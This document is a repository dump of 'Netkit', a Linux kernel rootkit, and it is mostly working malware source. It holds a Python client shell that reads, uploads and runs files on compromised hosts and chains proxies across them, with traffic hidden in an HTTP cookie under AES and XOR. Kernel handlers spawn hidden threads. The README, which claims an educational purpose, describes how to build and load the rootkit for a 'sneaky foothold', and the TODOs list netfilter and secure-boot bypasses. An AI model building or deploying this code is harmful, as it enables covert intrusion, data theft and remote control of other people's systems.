├── .gitignore ├── .gitlab-ci.yml ├── .vscode-ctags ├── CONTRIBUTING.md ├── LICENSE ├── Makefile ├── README.md ├── client └── shell.py └── src ├── cmd ├── handlers │ ├── file.c │ ├── file.h │ ├── socket.c │ ├── socket.h │ ├── task.c │ └── task.h └── iface.h ├── config.c ├── config.h ├── io ├── iface.c ├── iface.h └── server │ ├── server.c │ └── server.h ├── netkit.c ├── netkit.h ├── pipeline ├── aes │ ├── aes.c │ └── aes.h ├── auth_password │ ├── auth_password.c │ └── auth_password.h ├── http │ ├── http.c │ └── http.h ├── iface.c ├── iface.h └── xor │ ├── xor.c │ └── xor.h ├── stealth ├── iface.c ├── iface.h └── module │ ├── module.c │ └── module.h └── sys ├── crypto.c ├── crypto.h ├── debug.h ├── file.c ├── file.h ├── lock.c ├── lock.h ├── mem.c ├── mem.h ├── socket.c ├── socket.h ├── symbol.c ├── symbol.h ├── task.c └── task.h /.gitignore: -------------------------------------------------------------------------------- 1 | *.cmd 2 | *.ko 3 | *.mod* 4 | *.symvers 5 | *.order 6 | *.o 7 | *.o.d 8 | *.code-workspace 9 | vm.pid 10 | tests/ 11 | image/ 12 | image 13 | vm.log 14 | 15 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | # You can override the included template(s) by including variable overrides 2 | # SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings 3 | # Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings 4 | # Dependency Scanning customization: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings 5 | # Container Scanning customization: https://docs.gitlab.com/ee/user/application_security/container_scanning/#customizing-the-container-scanning-settings 6 | # Note that environment variables can be set in several places 7 | # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence 8 | stages: 9 | - build 10 | - test 11 | - deploy 12 | - review 13 | - dast 14 | - staging 15 | - canary 16 | - production 17 | - incremental rollout 10% 18 | - incremental rollout 25% 19 | - incremental rollout 50% 20 | - incremental rollout 100% 21 | - performance 22 | - cleanup 23 | sast: 24 | stage: test 25 | include: 26 | - template: Auto-DevOps.gitlab-ci.yml 27 | -------------------------------------------------------------------------------- /.vscode-ctags: -------------------------------------------------------------------------------- 1 | !_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/ 2 | !_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/ 3 | !_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/ 4 | !_TAG_PROGRAM_NAME Exuberant Ctags // 5 | !_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/ 6 | !_TAG_PROGRAM_VERSION 5.9~svn20110310 // 7 | AUTH_H src/auth.h 2;" d 8 | COMMAND_H src/command.h 2;" d 9 | CORRECT_HASH src/auth.c 12;" d file: 10 | DEVICE_H src/device.h 2;" d 11 | DEVICE_NAME src/device.c 14;" d file: 12 | EXTRA_CFLAGS src/Makefile /^EXTRA_CFLAGS := -Wall -I$(PWD)$/;" m 13 | GET_REF src/packet.h 9;" d 14 | HEADER_FILES src/Makefile /^HEADER_FILES := $(wildcard *.h)$/;" m 15 | KERNEL_BUILD_DIR src/Makefile /^KERNEL_BUILD_DIR := \/home\/user\/code\/linux\/linux-fixed-zdi-1$/;" m 16 | MODULE_NAME src/Makefile /^MODULE_NAME := netkit_ko$/;" m 17 | NETKIT_H src/netkit.h 2;" d 18 | PACKET_H src/packet.h 2;" d 19 | PASSWORD_LEN src/packet.h 8;" d 20 | PUT_REF src/packet.h 10;" d 21 | SRC_FILES src/Makefile /^SRC_FILES := auth.c command.c device.c netkit.c packet.c$/;" m 22 | _ref_count src/packet.h /^ u8 _ref_count;$/;" m struct:packet 23 | command src/packet.h /^ u8 command;$/;" m struct:packet 24 | command src/packet.h /^ u8 command;$/;" m struct:raw_packet_header 25 | content src/packet.h /^ u8 *content;$/;" m struct:packet 26 | content src/packet.h /^ u8 content;$/;" m struct:raw_packet_header 27 | device_class src/device.c /^static struct class *device_class = NULL;$/;" v typeref:struct:class file: 28 | device_exit src/device.c /^int device_exit(void)$/;" f 29 | device_init src/device.c /^int device_init(void)$/;" f 30 | device_major src/device.c /^static int device_major = 0;$/;" v file: 31 | device_open src/device.c /^static int device_open(struct inode *inode, struct file *file)$/;" f file: 32 | device_read src/device.c /^static ssize_t device_read(struct file *file, char __user *user_buffer, size_t count, loff_t *offset)$/;" f file: 33 | device_write src/device.c /^static ssize_t device_write(struct file *file, const char __user *user_buf, size_t count, loff_t *offset)$/;" f file: 34 | fops src/device.c /^static const struct file_operations fops = {$/;" v typeref:struct:file_operations file: 35 | handle_exec src/command.c /^static int handle_exec(packet_t* packet)$/;" f file: 36 | is_password_correct src/auth.c /^int is_password_correct(u8* password, size_t password_len)$/;" f 37 | netkit_exit src/netkit.c /^module_exit(netkit_exit);$/;" v 38 | netkit_exit src/netkit.c /^static void __exit netkit_exit(void)$/;" f file: 39 | netkit_init src/netkit.c /^module_init(netkit_init);$/;" v 40 | netkit_init src/netkit.c /^static int __init netkit_init(void)$/;" f file: 41 | obj-m src/Makefile /^obj-m := $(MODULE_NAME).o$/;" m 42 | packet src/packet.h /^typedef struct packet$/;" s 43 | packet_init src/packet.c /^packet_t *packet_init(struct raw_packet_header *buffer, size_t count)$/;" f 44 | packet_t src/packet.h /^} packet_t;$/;" t typeref:struct:packet 45 | password src/packet.h /^ u8 password[PASSWORD_LEN];$/;" m struct:packet 46 | password src/packet.h /^ u8 password[PASSWORD_LEN];$/;" m struct:raw_packet_header 47 | process_request src/command.c /^int process_request(packet_t *packet)$/;" f 48 | raw_packet_header src/packet.h /^struct raw_packet_header$/;" s 49 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | Thank you for considering to contribute to the project. 3 | 4 | ## Code conventions 5 | We try to keep the code as secure and clean as possible, and hence we would like to ask you to abide to the following conventions: 6 | - Memory 7 | management: 8 | - If callee allocates **out_param, then caller needs to clean 9 | - If caller allocates in_param, then caller needs to clean 10 | - Caller must initialize *out_param to NULL 11 | - Encoding schemes 12 | - The encoding subsystem acts like a stack. 13 | - `output = L1_encode(L2_encode(eval_packet(L2_decode(L1_decode(input)))))`. 14 | - The downside of this and the mem mgnt conventions is that L1_decode_output remains in memory even when at eval_packet(), where it's not necessary. 15 | - This leads to O(n) space complexity, whilst it could be O(1) space complexity if the callee cleaned for the caller. 16 | - Preventing this would make the code a mess, so we sarcrifice space complexity for readability (and hence security). 17 | 18 | ## Testing 19 | To test, make sure to properly adapt the config settings. 20 | 21 | ### Testing scripts 22 | 23 | Block incoming iptables (except SSH: 22/tcp) 24 | ```bash 25 | iptables -P OUTPUT ACCEPT 26 | iptables -A INPUT -j ACCEPT -i lo 27 | iptables -A INPUT -j ACCEPT -p tcp --dport 22 28 | iptables -A INPUT -j REJECT --reject-with icmp-host-unreachable 29 | ``` 30 | 31 | ## TODO 32 | We feel like the following things need to be done: 33 | - Make plans for how Netkit can be used, and if there will be a toolsuite 34 | - Implement netfilter bypass for outgoing conns 35 | - Implement max connections 36 | - Implement segments for rapid IO 37 | - Implement PCR allocate command 38 | - Implement ko hotswap 39 | - Implement recipes 40 | - Implement TLS layer 41 | - Find bypass for -EKEYREJECTED on secure boot when loading hotswap kmod 42 | - Fix huge allocs for file read etc 43 | - Fix exit cmd (free_module does not free the pages to prevent crash) 44 | - Find out why kallsyms f->f_op->read_iter is not required from userland 45 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Notselwyn 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | MODULE_NAME := netkit 2 | 3 | # Set the list of source files 4 | SRC_FILES += src/netkit.c src/config.c 5 | SRC_FILES += src/cmd/handlers/file.c src/cmd/handlers/socket.c src/cmd/handlers/task.c 6 | SRC_FILES += src/pipeline/iface.c src/pipeline/aes/aes.c src/pipeline/auth_password/auth_password.c src/pipeline/http/http.c src/pipeline/xor/xor.c 7 | SRC_FILES += src/io/iface.c src/io/server/server.c 8 | SRC_FILES += src/stealth/iface.c src/stealth/module/module.c 9 | SRC_FILES += src/sys/crypto.c src/sys/file.c src/sys/lock.c src/sys/mem.c src/sys/socket.c src/sys/symbol.c src/sys/task.c 10 | 11 | # Set the flags for the kernel build 12 | EXTRA_CFLAGS := -Wall -I$(PWD) -O3 -std=gnu11 -finline-functions 13 | 14 | obj-m := $(MODULE_NAME).o 15 | $(MODULE_NAME)-objs := $(SRC_FILES:.c=.o) 16 | 17 | all: 18 | make -C $(KERNEL_DIR) M=$(PWD) modules 19 | clean: 20 | make -C $(KERNEL_DIR) M=$(PWD) clean 21 | 22 | .PHONY: all clean 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Netkit 2 | 3 | Netkit is a purposefully small rootkit which can be used by clients over network to maintain a sneaky foothold into a device. 4 | 5 | ## Overview 6 | Netkit has several features: 7 | - File read 8 | - File write 9 | - File execute (stderr + stdout) 10 | - Proxy 11 | - Self deletion (stopping the module from running and free'ing resources) 12 | 13 | ### Usage 14 | 15 | Once the rootkit is loaded into the system, a user may want to interact with it using the provided psuedo-shell: 16 | ```bash 17 | cd netkit 18 | $ python3 client/shell.py 10.10.10.1:8008 19 | 10.10.10.1:8008/ $ hosts 20 | usage: 21 | - hosts push : 22 | - hosts pop 23 | 24 | 10.10.10.1:8008/ $ hostname 25 | gateway-1a723f 26 | 27 | 10.10.10.1:8008/ $ hosts push 10.10.10.2:8008 28 | [+] successfully added device 10.10.10.2:8008 to hosts list 29 | 10.10.10.1:8008->10.10.10.2:8008/ $ hostname 30 | mail-server 31 | 32 | ``` 33 | 34 | ### Compilation 35 | To run the rootkit, optionally tweak it in the configurations, build it using `make` and ship it using `insmod`, or any other kernel module loader. 36 | 37 | **==== Please make sure to adjust `CONFIG_NETKIT_DEBUG` to your liking ====** 38 | 39 | If `CONFIG_NETKIT_DEBUG` is enabled, then stealth mode is enabled and the rootkit can only be stopped using the self destruct / exit cmd (not using rmmod). 40 | 41 | Make sure to set $KERNEL_DIR to your kernels' hedaer files, like `KERNEL_DIR=/usr/src/linux-headers-$(uname -r)` 42 | 43 | ```bash 44 | git clone https://github.com/notselwyn/netkit/ 45 | cd netkit 46 | make KERNEL_DIR=$KERNEL_DIR 47 | 48 | ls -la netkit.ko 49 | ``` 50 | 51 | ### Running it with notselwyn/kernel-scripts 52 | 53 | Since the rootkit was developed with the author's [kernel-scripts](https://github.com/notselwyn/kernel-scripts), it's a breeze to debug and test. Simply download the scripts and compile a compatible Linux kernel. 54 | 55 | To run the kernel: 56 | ```bash 57 | cd netkit 58 | create-image.sh 59 | run.sh $KERNEL_DIR 60 | ``` 61 | 62 | To run and interact with the rootkit (make sure it's in debug mode to allow for `rmmod` in `run_kmod.sh`): 63 | ```bash 64 | cd netkit 65 | run_kmod.sh netkit.ko netkit 66 | run_python.sh client/shell.py 67 | ``` 68 | 69 | ### Disclaimer 70 | 71 | The programs and scripts ("programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of the programs in this repository, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with the programs in this repository. 72 | -------------------------------------------------------------------------------- /client/shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import p8, xor, enhex, unhex 4 | import socket 5 | from Crypto.Cipher import AES 6 | import time 7 | import os 8 | import sys 9 | import requests 10 | 11 | 12 | AUTH_PASSWORD = 0 13 | 14 | CMD_FILE_READ = 0 15 | CMD_FILE_WRITE = 1 16 | CMD_FILE_EXEC = 2 17 | CMD_PROXY = 3 18 | CMD_EXIT = 4 19 | 20 | 21 | def xor_crypt(plaintext): 22 | print = lambda *x: ... 23 | 24 | ciphertext = xor(plaintext, b"NETKIT_XOR\x00")[:len(plaintext)] 25 | print('\nxor:', ciphertext) 26 | 27 | return ciphertext 28 | 29 | 30 | def aes_encrypt(plaintext): 31 | print = lambda *x: ... 32 | 33 | padlen = 16-(len(plaintext) % 16) 34 | if padlen == 16: 35 | padlen = 0 36 | 37 | plaintext += padlen.to_bytes(1, 'little') * padlen 38 | print(f'\npad: {plaintext} ({len(plaintext)-padlen})') 39 | 40 | iv = b"IV"*8 41 | cipher = AES.new(b"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD", AES.MODE_CBC, iv) 42 | ciphertext = iv + cipher.encrypt(plaintext) 43 | print('\naes:', ciphertext) 44 | 45 | return ciphertext 46 | 47 | 48 | def aes_decrypt(ciphertext): 49 | print = lambda *x: ... 50 | 51 | cipher = AES.new("AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD".encode(), AES.MODE_CBC, ciphertext[:16]) 52 | padded = cipher.decrypt(ciphertext[16:]) 53 | print("\naes decrypt (padded):", padded) 54 | pad_size = ord(padded[len(padded)-1:]) 55 | if 0 < pad_size < 16: 56 | for b in padded[:-pad_size:-1]: 57 | padded_correct = b == pad_size 58 | if not padded_correct: 59 | break 60 | if padded_correct: 61 | plaintext = padded[:-pad_size] 62 | else: 63 | plaintext = padded 64 | else: 65 | plaintext = padded 66 | 67 | print('\naes decrypt:', plaintext) 68 | 69 | return plaintext 70 | 71 | 72 | class PacketReq: 73 | def __init__(self, password: bytes, cmd_id: int, content: bytes): 74 | self.password = password 75 | self.cmd_id = cmd_id 76 | self.content = content 77 | 78 | def __bytes__(self): 79 | return self.encrypt(self.password + p8(self.cmd_id) + self.content) 80 | 81 | def encrypt(self, plaintext: bytes) -> bytes: 82 | ciphertext = xor_crypt(plaintext) 83 | ciphertext = aes_encrypt(ciphertext) 84 | 85 | return ciphertext 86 | 87 | 88 | class PacketRes: 89 | def __init__(self, retv: int, ciphertext: bytes): 90 | self.retv = retv 91 | self.content = b"" 92 | if retv >= 0: 93 | self.content = self.decrypt(ciphertext) 94 | 95 | def decrypt(self, ciphertext: bytes) -> bytes: 96 | if ciphertext == b"": 97 | return b"" 98 | 99 | ciphertext = aes_decrypt(ciphertext) 100 | plaintext = xor_crypt(ciphertext[:len(ciphertext)]) 101 | 102 | return plaintext 103 | 104 | 105 | def encapsulate_proxies(host_list: list[tuple[str, int]], packet: PacketReq) -> PacketReq: 106 | for i, addr in enumerate(host_list[:-1]): 107 | next_addr = host_list[i+1] 108 | content = socket.inet_aton(next_addr[0]) 109 | port = socket.htons(next_addr[1]).to_bytes(2, 'little') 110 | packet = PacketReq(packet.password, CMD_PROXY, content + port + bytes(packet)) 111 | 112 | return packet 113 | 114 | 115 | def decapsulate_proxies(host_list: list[tuple[str, int]], res: PacketRes) -> PacketRes: 116 | for _ in host_list[:-1]: 117 | res.content = PacketRes(res.retv, res.content).content 118 | 119 | return res 120 | 121 | 122 | def _sock_sendrecv(addr: tuple[str, int], sendbuf: bytes) -> bytes: 123 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 124 | s.connect(addr) 125 | 126 | data = sendbuf 127 | print('\nsend:', data) 128 | 129 | start = time.perf_counter() 130 | s.sendall(data) 131 | data = s.recv(65536) 132 | end = time.perf_counter() 133 | s.close() 134 | 135 | print(f"time: {(end - start) * 1000}ms") 136 | 137 | if len(data) == 0: 138 | raise Exception("[!] auth failed") 139 | 140 | print(f'recv ({len(data)} bytes):', data) 141 | 142 | 143 | def sendrecv(addr: tuple[str, int], sendbuf: bytes) -> bytes: 144 | hex_sendbuf = enhex(sendbuf) 145 | r = requests.get(f"http://{addr[0]}:{addr[1]}/", cookies={"SOCS": hex_sendbuf}) 146 | 147 | retv = 0 148 | unhex_recvbuf = b"" 149 | if r.status_code == 500: 150 | retv = -1 151 | elif r.status_code == 422: 152 | print("[!] invalid packet sent by client (check config)") 153 | elif r.status_code == 200: 154 | #start = r.headers['Set-Cookie'].index("SOCS") + 5 155 | #end = r.headers['Set-Cookie'][start:].index(";") + 5 156 | #data = r.headers['Set-Cookie'][start:end] 157 | 158 | unhex_recvbuf = unhex(r.content) 159 | print(r.headers) 160 | 161 | return retv, unhex_recvbuf 162 | 163 | 164 | def sendrecv_encapsulate(host_list: list[tuple[str, int]], original_packet: PacketReq) -> PacketRes: 165 | encap_packet_req: PacketReq = encapsulate_proxies(host_list, original_packet) 166 | retv, res_raw = sendrecv(host_list[0], bytes(encap_packet_req)) 167 | decap_packet_res: PacketRes = decapsulate_proxies(host_list, PacketRes(retv, res_raw)) 168 | 169 | return decap_packet_res 170 | 171 | 172 | def download(host_list: list[tuple[str, int]], password: bytes, filename_remote: str, filename_local: str): 173 | packet_filename = filename_remote.encode() + b"\x00" 174 | packet = PacketReq(password, CMD_FILE_READ, packet_filename) 175 | rsp = sendrecv_encapsulate(host_list, packet) 176 | 177 | with open(filename_local, "wb") as f: 178 | f.write(rsp.content) 179 | 180 | return rsp 181 | 182 | 183 | def upload(host_list: list[tuple[str, int]], password: bytes, filename_local: str, filename_remote: str) -> PacketRes: 184 | with open(filename_local, "rb") as f: 185 | content = f.read() 186 | 187 | req = PacketReq(password, CMD_FILE_WRITE, filename_remote.encode() + b"\x00" + content) 188 | rsp = sendrecv_encapsulate(host_list, req) 189 | 190 | return rsp 191 | 192 | 193 | def exec(host_list: list[tuple[str, int]], password: bytes, pwd: str, cmd: str): 194 | if cmd != "" and pwd != "": 195 | complete_cmd = f"cd {pwd} && {cmd}" 196 | elif cmd == "": 197 | raise ValueError("[!] no cmd given (developers' fault)") 198 | elif pwd == "": 199 | complete_cmd = cmd 200 | 201 | complete_cmd += "\x00" 202 | 203 | req = PacketReq(password, CMD_FILE_EXEC, complete_cmd.encode()) 204 | rsp = sendrecv_encapsulate(host_list, req) 205 | 206 | return rsp 207 | 208 | 209 | def server_exit(host_list: list[tuple[str, int]], password): 210 | req = PacketReq(password, CMD_EXIT, b"") 211 | rsp = sendrecv_encapsulate(host_list, req) 212 | 213 | return rsp 214 | 215 | 216 | def main(argv): 217 | password = b"password\x00" 218 | pwd = os.path.abspath("/") 219 | 220 | # get all proxy 221 | host_list = [] 222 | if len(argv) > 1: 223 | for arg in argv[1:]: 224 | ip, port = arg.split(":") 225 | host_list.append((ip, int(port))) 226 | 227 | if host_list == []: 228 | print(f"[!] usage: {argv[0]} <:> [:] [:] ...\n") 229 | return 230 | 231 | while True: 232 | nice_hosts = [ip + ":" + str(port) for ip, port in host_list] 233 | prefix = "->".join(nice_hosts) + pwd + " $ " 234 | cmd_argv = input(prefix).strip(" ").split() 235 | if cmd_argv == []: 236 | continue 237 | 238 | cmd_bin = cmd_argv[0].lower() 239 | if cmd_bin == "download": 240 | if len(cmd_argv) != 2: 241 | print("usage: download \n") 242 | continue 243 | 244 | filename_remote = cmd_argv[1] 245 | filename_local = cmd_argv[1].replace("/", "__") 246 | rsp = download(host_list, password, filename_remote, filename_local) 247 | if rsp.retv < 0: 248 | print(f"[-] failed to download file '{filename_remote}' from server to local\n") 249 | continue 250 | 251 | print(f"[+] file successfully downloaded '{filename_remote}' from server to local (saved as '{filename_local}')\n") 252 | elif cmd_bin == "upload": 253 | if len(cmd_argv) != 3: 254 | print("usage: upload \n") 255 | continue 256 | 257 | rsp = upload(host_list, password, cmd_argv[1], cmd_argv[2]) 258 | if rsp.retv < 0: 259 | print(f"[-] failed to upload file '{cmd_argv[1]}' to the server as '{cmd_argv[2]}'\n") 260 | continue 261 | 262 | print(f"[+] successfully uploaded file '{cmd_argv[1]}' as '{cmd_argv[2]}' to server\n") 263 | elif cmd_bin == "hosts": 264 | hosts_usage = lambda: ( 265 | print("usage:"), 266 | print("- hosts push :"), 267 | print("- hosts pop\n") 268 | ) 269 | 270 | if len(cmd_argv) == 1 or cmd_argv[1] not in {"push", "pop"}: 271 | hosts_usage() 272 | continue 273 | 274 | if cmd_argv[1] == "push": 275 | if len(cmd_argv) != 3: 276 | hosts_usage() 277 | continue 278 | 279 | ip, port = cmd_argv[2].split(":") 280 | host_list.append((ip, int(port))) 281 | print(f"[+] successfully added device {ip}:{port} to hosts list\n") 282 | elif cmd_argv[1] == "pop": 283 | if len(cmd_argv) != 2: 284 | hosts_usage() 285 | continue 286 | 287 | if len(host_list) == 1: 288 | print("[!] 1 host in list. cannot pop\n") 289 | continue 290 | 291 | host_list.pop(-1) 292 | print(f"[+] successfully popped server '{ip}:{port}'\n") 293 | elif cmd_bin == "[self-destruct]": 294 | confirm = input("[?] are you sure you want to permantently remove the implant from the system? (y/N): ") 295 | if confirm.lower() != "y": 296 | continue 297 | 298 | server_exit(host_list, password) 299 | 300 | addr = host_list[-1] 301 | print(f"[+] successfully self destructed server '{addr[0]}:{addr[1]}'\n") 302 | host_list.pop(-1) 303 | 304 | # if last module self-destructed 305 | if host_list == []: 306 | return 307 | elif cmd_bin == "cd": 308 | pwd_new = os.path.normpath(os.path.join(pwd, cmd_argv[1])) 309 | rsp = exec(host_list, password, "", f"test -d {pwd_new}") 310 | if rsp.retv < 0: 311 | print(f"[-] cannot access '{pwd_new}': No such file or directory\n") 312 | continue 313 | 314 | pwd = pwd_new 315 | elif cmd_bin == "exit": 316 | break 317 | else: 318 | cmd = ' '.join(cmd_argv) 319 | rsp = exec(host_list, password, pwd, cmd) 320 | if rsp.retv < 0: 321 | print(f"command not found (something went wrong): {cmd.split(' ')[0]}\n") 322 | continue 323 | 324 | print(rsp.content.decode("utf-8", "backslashreplace")) 325 | 326 | 327 | if __name__ == "__main__": 328 | main(sys.argv) 329 | -------------------------------------------------------------------------------- /src/cmd/handlers/file.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "file.h" 6 | 7 | #include "../../netkit.h" 8 | #include "../../sys/file.h" 9 | 10 | 11 | int cmd_handle_file_read(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 12 | { 13 | size_t filename_len; 14 | 15 | filename_len = strnlen(req_buf, req_buflen); 16 | 17 | // require nullbyte 18 | if (filename_len == req_buflen || filename_len == 0) 19 | return -EINVAL; 20 | 21 | return file_read(req_buf, res_buf, res_buflen); 22 | } 23 | 24 | int cmd_handle_file_write(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 25 | { 26 | size_t filename_len; 27 | const u8 *content_buf; 28 | size_t content_buflen; 29 | 30 | filename_len = strnlen(req_buf, req_buflen); 31 | 32 | // require filename nullbyte 33 | if (filename_len == req_buflen || filename_len == 0) 34 | return -EINVAL; 35 | 36 | // allow content buflen of 0 with OOB start ptr 37 | content_buf = req_buf + filename_len + 1; 38 | content_buflen = req_buflen - filename_len - 1; 39 | 40 | return file_write(req_buf, content_buf, content_buflen); 41 | } 42 | 43 | int cmd_handle_file_exec(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 44 | { 45 | size_t filename_len; 46 | 47 | filename_len = strnlen(req_buf, req_buflen); 48 | 49 | // require nullbyte 50 | if (filename_len == req_buflen || filename_len == 0) 51 | return -EINVAL; 52 | 53 | return file_exec(req_buf, res_buf, res_buflen); 54 | } -------------------------------------------------------------------------------- /src/cmd/handlers/file.h: -------------------------------------------------------------------------------- 1 | #ifndef CMD__HANDLERS__FILE_H 2 | #define CMD__HANDLERS__FILE_H 3 | 4 | #include 5 | 6 | int cmd_handle_file_read(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 7 | int cmd_handle_file_write(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 8 | int cmd_handle_file_exec(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 9 | 10 | #endif -------------------------------------------------------------------------------- /src/cmd/handlers/socket.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "socket.h" 4 | 5 | #include "../../sys/socket.h" 6 | 7 | int cmd_handle_proxy(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 8 | { 9 | if (req_buflen < 6) 10 | return -EMSGSIZE; 11 | 12 | return socket_proxy(*(__be32*)req_buf, *(__be16*)(req_buf+4), req_buf+6, req_buflen-6, res_buf, res_buflen); 13 | } -------------------------------------------------------------------------------- /src/cmd/handlers/socket.h: -------------------------------------------------------------------------------- 1 | #ifndef CMD__HANDLERS__SOCKET_H 2 | #define CMD__HANDLERS__SOCKET_H 3 | 4 | #include 5 | 6 | int cmd_handle_proxy(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 7 | 8 | #endif -------------------------------------------------------------------------------- /src/cmd/handlers/task.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "task.h" 6 | 7 | #include "../../sys/task.h" 8 | #include "../../sys/lock.h" 9 | 10 | int cmd_handle_exit(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 11 | { 12 | // run as kthread so underlaying layers can cleanup and round up the IO 13 | // netkit-conn-loop --[spawn]--> conn-xyz --[spawn]--> netkit-exit --[kill]--> {netkit-conn-loop, conn-xyz} 14 | netkit_workers_decr(); 15 | KTHREAD_RUN_HIDDEN(module_stop, THIS_MODULE, "netkit-exit"); 16 | 17 | return 0; 18 | } -------------------------------------------------------------------------------- /src/cmd/handlers/task.h: -------------------------------------------------------------------------------- 1 | #ifndef CMD__HANDLERS__TASK_H 2 | #define CMD__HANDLERS__TASK_H 3 | 4 | int cmd_handle_exit(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 5 | 6 | #endif -------------------------------------------------------------------------------- /src/cmd/iface.h: -------------------------------------------------------------------------------- 1 | #include "handlers/file.h" 2 | #include "handlers/socket.h" 3 | #include "handlers/task.h" 4 | 5 | static int (*COMM_HANDLERS[])(const u8*, size_t, u8**, size_t*) = { 6 | cmd_handle_file_read, 7 | cmd_handle_file_write, 8 | cmd_handle_file_exec, 9 | cmd_handle_proxy, 10 | cmd_handle_exit 11 | }; 12 | 13 | 14 | static inline int cmd_process(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 15 | { 16 | u8 cmd_id; 17 | int retv; 18 | 19 | if (req_buflen < 1) 20 | { 21 | retv = -EINVAL; 22 | goto LAB_OUT; 23 | } 24 | 25 | cmd_id = req_buf[0]; 26 | if (cmd_id < 0 || cmd_id >= sizeof(COMM_HANDLERS) / sizeof(*COMM_HANDLERS)) 27 | { 28 | NETKIT_LOG("[!] inval cmd: %hhd\n", cmd_id); 29 | retv = -EDOM; 30 | goto LAB_OUT; 31 | } 32 | 33 | NETKIT_LOG("[*] processing cmd: %hhd\n", cmd_id); 34 | 35 | // output is not guaranteed for positive response, so force it to NULL/0 36 | *res_buf = NULL; 37 | *res_buflen = 0; 38 | 39 | // allow OOB ptr with size 0 40 | retv = NETKIT_PIPELINE_CALL(COMM_HANDLERS[cmd_id], req_buf + 1, req_buflen - 1, res_buf, res_buflen); 41 | 42 | LAB_OUT: 43 | kzfree(req_buf, req_buflen); 44 | 45 | return retv; 46 | } -------------------------------------------------------------------------------- /src/config.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | #include "pipeline/iface.h" 4 | #include "pipeline/aes/aes.h" 5 | #include "pipeline/auth_password/auth_password.h" 6 | #include "pipeline/http/http.h" 7 | #include "pipeline/xor/xor.h" 8 | 9 | const struct pipeline_ops *SERVER_PIPELINE_OPS_ARR[] = { 10 | &LAYER_HTTP_OPS, 11 | &LAYER_AES_OPS, 12 | &LAYER_XOR_OPS, 13 | &LAYER_PASSWORD_AUTH_OPS, 14 | NULL 15 | }; -------------------------------------------------------------------------------- /src/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | #define CONFIG_NETKIT_DEBUG 1 5 | #define CONFIG_NETKIT_STEALTH_FORCE 0 6 | 7 | #define CONFIG_IO_SERVER_IP "0.0.0.0" 8 | #define CONFIG_IO_SERVER_PORT 8008 9 | #define CONFIG_IO_SERVER_KTHR_LOOP_NAME "netkit-loop" 10 | #define CONFIG_IO_SERVER_KTHR_HANDLER_NAME "netkit-conn-handler-%08x" 11 | 12 | #define CONFIG_PIPELINE_AES_KEY "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD" 13 | #define CONFIG_PIPELINE_AUTH_PASSWORD_HASH "\x5e\x88\x48\x98\xda\x28\x04\x71\x51\xd0\xe5\x6f\x8d\xc6\x29\x27\x73\x60\x3d\x0d\x6a\xab\xbd\xd6\x2a\x11\xef\x72\x1d\x15\x42\xd8" 14 | #define CONFIG_PIPELINE_HTTP_COOKIE_NAME "SOCS" 15 | #define 